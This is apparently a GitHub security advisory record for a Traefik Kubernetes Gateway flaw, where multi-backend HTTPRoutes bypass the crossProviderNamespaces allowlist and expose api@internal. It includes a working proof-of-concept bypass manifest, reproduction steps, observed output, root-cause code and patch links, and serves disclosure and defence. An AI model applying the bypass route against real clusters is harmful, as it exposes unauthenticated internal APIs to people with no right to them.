CVE-2026-54761: Traefik Kubernetes Gateway CrossProviderNamespaces Bypass Allows Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3g6v-2r68-prfc",
  "modified" : "2026-07-20T21:13:33Z",
  "published" : "2026-06-17T14:01:48Z",
  "aliases" : [ "CVE-2026-54761" ],
  "summary" : "Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services",
  "details" : "## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n# Summary\n\nThe Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\n\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\n\nVerified affected versions:\n\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\n\n# Expected Behavior\n\nWith:\n\n```yaml\nproviders:\n  kubernetesGateway:\n    crossProviderNamespaces:\n      - trusted\n```\n\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\n\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\n\n```yaml\nbackendRefs:\n  - group: traefik.io\n    kind: TraefikService\n    name: api@internal\n    namespace: trusted\n```\n\n# Actual Behavior\n\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\n\n```text\n[api@internal attacker-whoami-http-80]\n```\n\neven though `crossProviderNamespaces` only allows `trusted`.\n\n# Threat Model\n\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\n\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.\n\nA Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\n\n# Required Attacker Capability\n\nRequired:\n\n- create or modify an `HTTPRoute` in namespace `attacker`;\n- have that `HTTPRoute` accepted by a `Gateway`;\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration.\n\nNot required:\n\n- modifying Traefik static configuration;\n- modifying the Traefik deployment or Traefik RBAC;\n- modifying resources in the Traefik deployment namespace;\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\n- enabling `api.insecure`;\n- exposing the dashboard/API entrypoint directly.\n\n# Documentation Evidence\n\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\n\nThe Kubernetes Gateway provider option is documented as:\n\n```text\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\n```\n\nThe migration notes also describe the security reason for the option:\n\n```text\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\n```\n\nand the documented behavior is:\n\n```text\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\n```\n\nThe provider struct uses the same route-namespace wording:\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\n```\n\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\n\n# PoC\n\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint.\n\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\n\n```text\nexternal-repro-kind/kind-config.yaml\nexternal-repro-kind/traefik-v371.yaml\nexternal-repro-kind/gateway-exploit.yaml\nexternal-repro-kind/run-kind-repro.sh\n```\n\nRun command:\n\n```bash\n./external-repro-kind/run-kind-repro.sh\n```\n\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\n\nTraefik was started with:\n\n```text\n--api=true\n--api.dashboard=true\n--api.insecure=false\n--providers.kubernetesgateway=true\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\n```\n\nThe local host entrypoint was:\n\n```text\n127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint\n```\n\nThe target namespace has a normal Gateway API `ReferenceGrant`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1beta1\nkind: ReferenceGrant\nmetadata:\n  name: allow-attacker-to-traefikservice\n  namespace: trusted\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: attacker\n  to:\n    - group: traefik.io\n      kind: TraefikService\n```\n\nPositive control:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: single-backend-control\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - control.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1\n```\n\nBypass:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: mixed-backend-bypass\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - exploit.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1000000\n        - group: \"\"\n          kind: Service\n          name: whoami\n          port: 80\n          weight: 1\n```\n\nObserved external result:\n\n```text\ncontrol: single-backend route from attacker namespace should not expose api@internal\ncontrol status: 404\n404 page not found\n\nexploit: mixed backendRef route from attacker namespace exposes api@internal\nexploit returned Traefik API JSON\napi@internal status: enabled\nweighted members:\napi@internal              1000000\nattacker-whoami-http-80  1\n```\n\nThe `HTTPRoute` status shows the boundary difference:\n\n```text\nsingle-backend-control:\n  Accepted=True\n  ResolvedRefs=False\n  Reason=RefNotPermitted\n  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\n\nmixed-backend-bypass:\n  Accepted=True\n  ResolvedRefs=True\n```\n\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\n\n## Minimized Root Cause Test\n\nI also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\n\nFiles:\n\n- `probe/crossprovider_namespace_probe_test.go`\n- `probe/cross_provider_namespace_probe.yml`\n- `probe/cross_provider_namespace_single_control.yml`\n\nReproduction:\n\n```bash\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\n```\n\nObserved output on both tested versions:\n\n```text\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\n```\n\nThe reproducer also includes a positive control:\n\n```text\n=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n```\n\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\n\n# Root Cause\n\nThe single-internal-service path checks the route namespace:\n\n```go\ncase len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\n```\n\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil && *backendRef.Namespace != \"\" {\n    namespace = string(*backendRef.Namespace)\n}\n...\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\n```\n\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\n\n```go\nif *backendRef.Kind == \"TraefikService\" && strings.Contains(string(backendRef.Name), \"@\") {\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\n```\n\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\n\n# Impact\n\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\n\nPotentially exposed internal services include:\n\n- `api@internal`\n- `dashboard@internal`\n- `rest@internal`\n\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\n\nI also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\n\n```text\nHost: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized\nHost: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found\n```\n\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\n\n```text\nHost: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK\nservice: api@internal\n```\n\nA WRR service containing `api@internal` also exposes the API:\n\n```text\nHost: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK\nweighted services:\napi@internal 1000\necho-svc      1\n```\n\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\n\n# Suggested Fix\n\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n</details>\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.21"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.20"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.11.50"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.7.34"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0-ea.1"
      }, {
        "fixed" : "3.7.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.7.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54761"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.6.21"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.7.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-17T14:01:48Z",
    "nvd_published_at" : "2026-06-23T20:16:49Z"
  }
}